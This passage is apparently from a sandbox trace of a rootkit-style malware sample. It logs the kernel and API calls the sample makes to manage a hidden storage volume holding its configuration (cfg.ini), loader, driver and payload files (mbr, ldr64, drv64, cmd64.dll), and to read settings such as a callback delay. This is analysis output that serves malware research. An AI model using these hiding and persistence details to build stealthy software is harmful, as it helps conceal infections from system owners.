Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.577] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.577] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.577] IdePortDispatch () returned 0x103 [0127.577] KeWaitForMutexObject () returned 0x0 [0127.577] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.577] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.577] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.577] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.577] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.577] IdePortDispatch () returned 0x103 [0127.579] KeWaitForMutexObject () returned 0x0 [0127.579] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.579] KeLeaveCriticalRegion () [0127.579] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.580] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.580] KeEnterCriticalRegion () [0127.580] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.580] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.580] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.580] KeLeaveCriticalRegion () [0127.580] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.580] KeEnterCriticalRegion () [0127.580] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.580] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.580] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7450, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.580] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.580] KeLeaveCriticalRegion () [0127.580] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.580] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.580] KeEnterCriticalRegion () [0127.580] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.580] ExFreePoolWithTag (P=0xfffffa8003bfba70, Tag=0x0) [0127.580] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.580] KeLeaveCriticalRegion () [0127.580] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.580] ReleaseMutex (hMutex=0xf0) returned 1 [0127.580] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0127.580] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0127.580] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0127.580] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.580] KeEnterCriticalRegion () [0127.580] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.580] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.580] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.580] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.580] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.580] IdePortDispatch () returned 0x103 [0127.581] KeWaitForMutexObject () returned 0x0 [0127.581] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.581] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.581] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.581] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.581] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.581] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.581] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.581] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.581] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.581] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.581] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.581] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.581] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.581] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.581] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.581] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.581] KeLeaveCriticalRegion () [0127.581] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.581] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0127.581] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.581] KeEnterCriticalRegion () [0127.581] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.581] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.581] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.581] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.581] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.582] IdePortDispatch () returned 0x103 [0127.582] KeWaitForMutexObject () returned 0x0 [0127.582] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.582] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.582] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.582] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.582] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.582] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.582] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.582] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.582] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.582] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.582] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.582] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.582] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.582] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.582] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.582] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.582] KeLeaveCriticalRegion () [0127.582] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.582] ReleaseMutex (hMutex=0x100) returned 1 [0127.582] Sleep (dwMilliseconds=0x2bf20) [0127.591] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6f3f25f0, dwHighDateTime=0x1d24fa4)) [0127.591] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0127.591] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.591] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.591] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.591] KeEnterCriticalRegion () [0127.591] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.591] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.591] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.591] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.591] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.591] IdePortDispatch () returned 0x103 [0127.591] KeWaitForMutexObject () returned 0x0 [0127.591] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.591] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.591] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.592] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.592] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.592] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfbb30 [0127.592] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.592] KeLeaveCriticalRegion () [0127.592] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.592] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.592] KeEnterCriticalRegion () [0127.592] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.592] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.592] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.592] KeLeaveCriticalRegion () [0127.592] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.592] KeEnterCriticalRegion () [0127.592] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.592] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.592] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.592] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.592] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.592] IdePortDispatch () returned 0x103 [0127.592] KeWaitForMutexObject () returned 0x0 [0127.594] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.594] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.594] KeLeaveCriticalRegion () [0127.594] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.594] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.594] KeEnterCriticalRegion () [0127.594] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.594] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b6d000 [0127.594] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.594] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.594] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.594] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.595] IdePortDispatch () returned 0x103 [0127.595] KeWaitForMutexObject () returned 0x0 [0127.595] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.595] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.595] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.595] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.595] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.595] IdePortDispatch () returned 0x103 [0127.595] KeWaitForMutexObject () returned 0x0 [0127.595] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.595] KeLeaveCriticalRegion () [0127.595] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.596] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.596] KeEnterCriticalRegion () [0127.596] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.596] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.596] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.596] KeLeaveCriticalRegion () [0127.596] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.596] KeEnterCriticalRegion () [0127.596] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.596] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.596] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7450, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.596] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.596] KeLeaveCriticalRegion () [0127.596] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.596] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.596] KeEnterCriticalRegion () [0127.596] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.596] ExFreePoolWithTag (P=0xfffffa8003bfbb30, Tag=0x0) [0127.596] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.596] KeLeaveCriticalRegion () [0127.596] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.597] ReleaseMutex (hMutex=0xf0) returned 1 [0127.597] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.605] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.605] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.605] KeEnterCriticalRegion () [0127.605] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.605] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.605] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.605] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.605] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.605] IdePortDispatch () returned 0x103 [0127.605] KeWaitForMutexObject () returned 0x0 [0127.605] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.605] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.605] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.605] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.605] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.605] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfbd20 [0127.605] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.605] KeLeaveCriticalRegion () [0127.605] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.605] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.605] KeEnterCriticalRegion () [0127.605] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.605] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.605] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.605] KeLeaveCriticalRegion () [0127.606] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.606] KeEnterCriticalRegion () [0127.606] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.606] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.606] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.606] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.606] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.606] IdePortDispatch () returned 0x103 [0127.606] KeWaitForMutexObject () returned 0x0 [0127.606] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.606] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.606] KeLeaveCriticalRegion () [0127.606] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.606] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.606] KeEnterCriticalRegion () [0127.606] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.606] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b70000 [0127.606] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.606] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.606] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.606] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.606] IdePortDispatch () returned 0x103 [0127.607] KeWaitForMutexObject () returned 0x0 [0127.607] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.607] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.607] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.607] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.607] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.607] IdePortDispatch () returned 0x103 [0127.607] KeWaitForMutexObject () returned 0x0 [0127.607] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.607] KeLeaveCriticalRegion () [0127.607] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.608] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.608] KeEnterCriticalRegion () [0127.608] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.608] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.608] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.608] KeLeaveCriticalRegion () [0127.608] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.608] KeEnterCriticalRegion () [0127.608] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.608] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.608] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.608] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.608] KeLeaveCriticalRegion () [0127.608] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.608] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.608] KeEnterCriticalRegion () [0127.608] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.608] ExFreePoolWithTag (P=0xfffffa8003bfbd20, Tag=0x0) [0127.608] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.608] KeLeaveCriticalRegion () [0127.608] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.608] ReleaseMutex (hMutex=0xf0) returned 1 [0127.608] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.608] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0127.609] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.609] KeEnterCriticalRegion () [0127.609] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.609] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.609] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.609] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.609] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.609] IdePortDispatch () returned 0x103 [0127.609] KeWaitForMutexObject () returned 0x0 [0127.609] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.609] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", 